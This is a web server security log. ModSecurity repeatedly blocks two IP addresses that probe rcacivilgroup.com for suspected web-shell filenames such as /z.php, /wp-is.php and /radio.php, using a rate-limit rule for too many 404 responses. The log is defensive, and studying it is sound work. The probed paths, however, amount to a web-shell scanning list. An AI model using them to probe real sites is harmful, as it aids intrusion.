[Fri Apr 03 01:31:28.261187 2026] [:error] [pid 25470:tid 25485] [client 4.232.187.184:55666] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/himu.php"] [unique_id "ac6n8HhROcck6_9HYygVrwAAAM0"]
[Fri Apr 03 01:31:28.762089 2026] [:error] [pid 25470:tid 25479] [client 4.232.187.184:53196] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/himu.php"] [unique_id "ac6n8HhROcck6_9HYygVtQAAAMc"]
[Fri Apr 03 01:31:29.376432 2026] [:error] [pid 25018:tid 25432] [client 4.232.187.184:62602] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/z.php"] [unique_id "ac6n8XupR6lXnAUzFGr3UQAAAFM"]
[Fri Apr 03 01:31:29.875437 2026] [:error] [pid 25470:tid 25491] [client 4.232.187.184:43357] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/z.php"] [unique_id "ac6n8XhROcck6_9HYygVuQAAANM"]
[Fri Apr 03 01:31:30.391878 2026] [:error] [pid 25035:tid 25453] [client 4.232.187.184:62608] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/z.php"] [unique_id "ac6n8hhR292toNOkLqG01wAAAIs"]
[Fri Apr 03 01:31:30.892915 2026] [:error] [pid 25010:tid 25347] [client 4.232.187.184:62647] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/z.php"] [unique_id "ac6n8o_KcjFQF5TuqTWmmgAAAAA"]
[Fri Apr 03 01:31:31.387174 2026] [:error] [pid 25010:tid 25366] [client 4.232.187.184:39592] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/png.php"] [unique_id "ac6n84_KcjFQF5TuqTWmmwAAABE"]
[Fri Apr 03 01:31:32.025750 2026] [:error] [pid 25470:tid 25496] [client 4.232.187.184:51018] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/png.php"] [unique_id "ac6n9HhROcck6_9HYygVyQAAANg"]
[Fri Apr 03 01:31:32.552733 2026] [:error] [pid 25010:tid 25373] [client 4.232.187.184:37558] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/png.php"] [unique_id "ac6n9I_KcjFQF5TuqTWmngAAABg"]
[Fri Apr 03 01:31:33.157593 2026] [:error] [pid 25018:tid 25419] [client 4.232.187.184:36251] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/png.php"] [unique_id "ac6n9XupR6lXnAUzFGr3VgAAAEY"]
[Fri Apr 03 01:31:33.647171 2026] [:error] [pid 25035:tid 25461] [client 4.232.187.184:44614] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mds.php"] [unique_id "ac6n9RhR292toNOkLqG02wAAAJM"]
[Fri Apr 03 01:31:34.154873 2026] [:error] [pid 25470:tid 25494] [client 4.232.187.184:39592] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mds.php"] [unique_id "ac6n9nhROcck6_9HYygV1gAAANY"]
[Fri Apr 03 01:31:34.693648 2026] [:error] [pid 25035:tid 25455] [client 4.232.187.184:43386] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mds.php"] [unique_id "ac6n9hhR292toNOkLqG03gAAAI0"]
[Fri Apr 03 01:31:35.214417 2026] [:error] [pid 25010:tid 25361] [client 4.232.187.184:36264] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mds.php"] [unique_id "ac6n94_KcjFQF5TuqTWmogAAAAw"]
[Fri Apr 03 01:31:35.689007 2026] [:error] [pid 25010:tid 25349] [client 4.232.187.184:39584] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/acp.php"] [unique_id "ac6n94_KcjFQF5TuqTWmpgAAAAI"]
[Fri Apr 03 01:31:36.217279 2026] [:error] [pid 25035:tid 25450] [client 4.232.187.184:32112] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/acp.php"] [unique_id "ac6n-BhR292toNOkLqG04wAAAIg"]
[Fri Apr 03 01:31:36.814106 2026] [:error] [pid 25035:tid 25448] [client 4.232.187.184:51054] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/acp.php"] [unique_id "ac6n-BhR292toNOkLqG05AAAAIY"]
[Fri Apr 03 01:31:37.295041 2026] [:error] [pid 25470:tid 25474] [client 4.232.187.184:45064] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/acp.php"] [unique_id "ac6n-XhROcck6_9HYygV5QAAAMI"]
[Fri Apr 03 01:31:37.788945 2026] [:error] [pid 25010:tid 25363] [client 4.232.187.184:33173] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/m.php"] [unique_id "ac6n-Y_KcjFQF5TuqTWmsAAAAA4"]
[Fri Apr 03 01:31:38.346717 2026] [:error] [pid 25018:tid 25437] [client 4.232.187.184:33999] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/m.php"] [unique_id "ac6n-nupR6lXnAUzFGr3ZAAAAFg"]
[Fri Apr 03 01:31:38.827056 2026] [:error] [pid 25018:tid 25419] [client 4.232.187.184:39579] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/m.php"] [unique_id "ac6n-nupR6lXnAUzFGr3ZgAAAEY"]
[Fri Apr 03 01:31:39.351855 2026] [:error] [pid 25035:tid 25457] [client 4.232.187.184:44608] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/m.php"] [unique_id "ac6n-xhR292toNOkLqG05wAAAI8"]
[Fri Apr 03 01:31:39.835050 2026] [:error] [pid 25010:tid 25372] [client 4.232.187.184:36962] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-is.php"] [unique_id "ac6n-4_KcjFQF5TuqTWmvgAAABc"]
[Fri Apr 03 01:31:40.340646 2026] [:error] [pid 25035:tid 25443] [client 4.232.187.184:32067] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-is.php"] [unique_id "ac6n_BhR292toNOkLqG07AAAAIE"]
[Fri Apr 03 01:31:40.832398 2026] [:error] [pid 25018:tid 25430] [client 4.232.187.184:55670] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-is.php"] [unique_id "ac6n_HupR6lXnAUzFGr3aQAAAFE"]
[Fri Apr 03 01:31:41.317497 2026] [:error] [pid 25010:tid 25367] [client 4.232.187.184:36956] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-is.php"] [unique_id "ac6n_Y_KcjFQF5TuqTWmwQAAABI"]
[Fri Apr 03 01:31:41.893862 2026] [:error] [pid 25470:tid 25493] [client 4.232.187.184:51040] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file15.php"] [unique_id "ac6n_XhROcck6_9HYygV8QAAANU"]
[Fri Apr 03 01:31:42.402474 2026] [:error] [pid 25470:tid 25494] [client 4.232.187.184:39630] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file15.php"] [unique_id "ac6n_nhROcck6_9HYygV8wAAANY"]
[Fri Apr 03 01:31:42.872776 2026] [:error] [pid 25010:tid 25357] [client 4.232.187.184:36952] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file15.php"] [unique_id "ac6n_o_KcjFQF5TuqTWmxgAAAAk"]
[Fri Apr 03 01:31:43.392589 2026] [:error] [pid 25470:tid 25495] [client 4.232.187.184:33200] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file15.php"] [unique_id "ac6n_3hROcck6_9HYygV9QAAANc"]
[Fri Apr 03 01:31:43.883148 2026] [:error] [pid 25035:tid 25444] [client 4.232.187.184:36256] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wsd.php"] [unique_id "ac6n_xhR292toNOkLqG08wAAAII"]
[Fri Apr 03 01:31:44.439770 2026] [:error] [pid 25035:tid 25458] [client 4.232.187.184:32097] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wsd.php"] [unique_id "ac6oABhR292toNOkLqG09AAAAJA"]
[Fri Apr 03 01:31:44.924477 2026] [:error] [pid 25470:tid 25493] [client 4.232.187.184:55634] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wsd.php"] [unique_id "ac6oAHhROcck6_9HYygV_wAAANU"]
[Fri Apr 03 01:31:45.513679 2026] [:error] [pid 25018:tid 25412] [client 4.232.187.184:33192] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wsd.php"] [unique_id "ac6oAXupR6lXnAUzFGr3dgAAAEE"]
[Fri Apr 03 01:31:46.165801 2026] [:error] [pid 25035:tid 25448] [client 4.232.187.184:44615] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/about.php"] [unique_id "ac6oAhhR292toNOkLqG0_QAAAIY"]
[Fri Apr 03 01:31:46.655769 2026] [:error] [pid 25035:tid 25465] [client 4.232.187.184:32065] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/about.php"] [unique_id "ac6oAhhR292toNOkLqG1BAAAAJc"]
[Fri Apr 03 01:31:47.129433 2026] [:error] [pid 25035:tid 25449] [client 4.232.187.184:55665] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/about.php"] [unique_id "ac6oAxhR292toNOkLqG1DAAAAIc"]
[Fri Apr 03 01:31:47.633086 2026] [:error] [pid 25035:tid 25446] [client 4.232.187.184:39646] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/about.php"] [unique_id "ac6oAxhR292toNOkLqG1DgAAAIQ"]
[Fri Apr 03 01:31:48.158766 2026] [:error] [pid 25035:tid 25451] [client 4.232.187.184:63365] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/an.php"] [unique_id "ac6oBBhR292toNOkLqG1FQAAAIk"]
[Fri Apr 03 01:31:48.650326 2026] [:error] [pid 25035:tid 25449] [client 4.232.187.184:43373] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/an.php"] [unique_id "ac6oBBhR292toNOkLqG1GwAAAIc"]
[Fri Apr 03 01:31:49.123470 2026] [:error] [pid 25470:tid 25482] [client 4.232.187.184:34032] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/an.php"] [unique_id "ac6oBXhROcck6_9HYygWBgAAAMo"]
[Fri Apr 03 01:31:49.663846 2026] [:error] [pid 25470:tid 25479] [client 4.232.187.184:39670] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/an.php"] [unique_id "ac6oBXhROcck6_9HYygWCQAAAMc"]
[Fri Apr 03 01:31:50.144343 2026] [:error] [pid 25035:tid 25463] [client 4.232.187.184:63379] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/404.php"] [unique_id "ac6oBhhR292toNOkLqG1HAAAAJU"]
[Fri Apr 03 01:31:50.615058 2026] [:error] [pid 25035:tid 25446] [client 4.232.187.184:63392] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/404.php"] [unique_id "ac6oBhhR292toNOkLqG1HQAAAIQ"]
[Fri Apr 03 01:31:51.088093 2026] [:error] [pid 25035:tid 25458] [client 4.232.187.184:37542] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/404.php"] [unique_id "ac6oBxhR292toNOkLqG1HwAAAJA"]
[Fri Apr 03 01:31:51.566142 2026] [:error] [pid 25470:tid 25472] [client 4.232.187.184:36324] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/404.php"] [unique_id "ac6oB3hROcck6_9HYygWEQAAAMA"]
[Fri Apr 03 01:31:52.039777 2026] [:error] [pid 25470:tid 25496] [client 4.232.187.184:39664] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lol.php"] [unique_id "ac6oCHhROcck6_9HYygWFQAAANg"]
[Fri Apr 03 01:31:52.545105 2026] [:error] [pid 25010:tid 25368] [client 4.232.187.184:37550] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lol.php"] [unique_id "ac6oCI_KcjFQF5TuqTWm0gAAABM"]
[Fri Apr 03 01:31:53.016546 2026] [:error] [pid 25470:tid 25489] [client 4.232.187.184:39589] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lol.php"] [unique_id "ac6oCXhROcck6_9HYygWFgAAANE"]
[Fri Apr 03 01:31:53.522720 2026] [:error] [pid 25470:tid 25485] [client 4.232.187.184:36278] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lol.php"] [unique_id "ac6oCXhROcck6_9HYygWGQAAAM0"]
[Fri Apr 03 01:31:54.046264 2026] [:error] [pid 25010:tid 25347] [client 4.232.187.184:37546] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/radio.php"] [unique_id "ac6oCo_KcjFQF5TuqTWm1wAAAAA"]
[Fri Apr 03 01:31:54.530289 2026] [:error] [pid 25010:tid 25351] [client 4.232.187.184:32885] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/radio.php"] [unique_id "ac6oCo_KcjFQF5TuqTWm2wAAAAM"]
[Fri Apr 03 01:31:55.084117 2026] [:error] [pid 25470:tid 25473] [client 4.232.187.184:36339] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/radio.php"] [unique_id "ac6oC3hROcck6_9HYygWHwAAAME"]
[Fri Apr 03 01:31:55.596022 2026] [:error] [pid 25470:tid 25490] [client 4.232.187.184:39560] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/radio.php"] [unique_id "ac6oC3hROcck6_9HYygWIwAAANI"]
[Fri Apr 03 01:35:50.504757 2026] [:error] [pid 25010:tid 25361] [client 20.215.208.34:63391] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/abc.php"] [unique_id "ac6o9o_KcjFQF5TuqTWp1gAAAAw"]
[Fri Apr 03 01:35:53.383056 2026] [:error] [pid 25010:tid 25361] [client 20.215.208.34:65016] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/abc.php"] [unique_id "ac6o-Y_KcjFQF5TuqTWp6AAAAAw"]
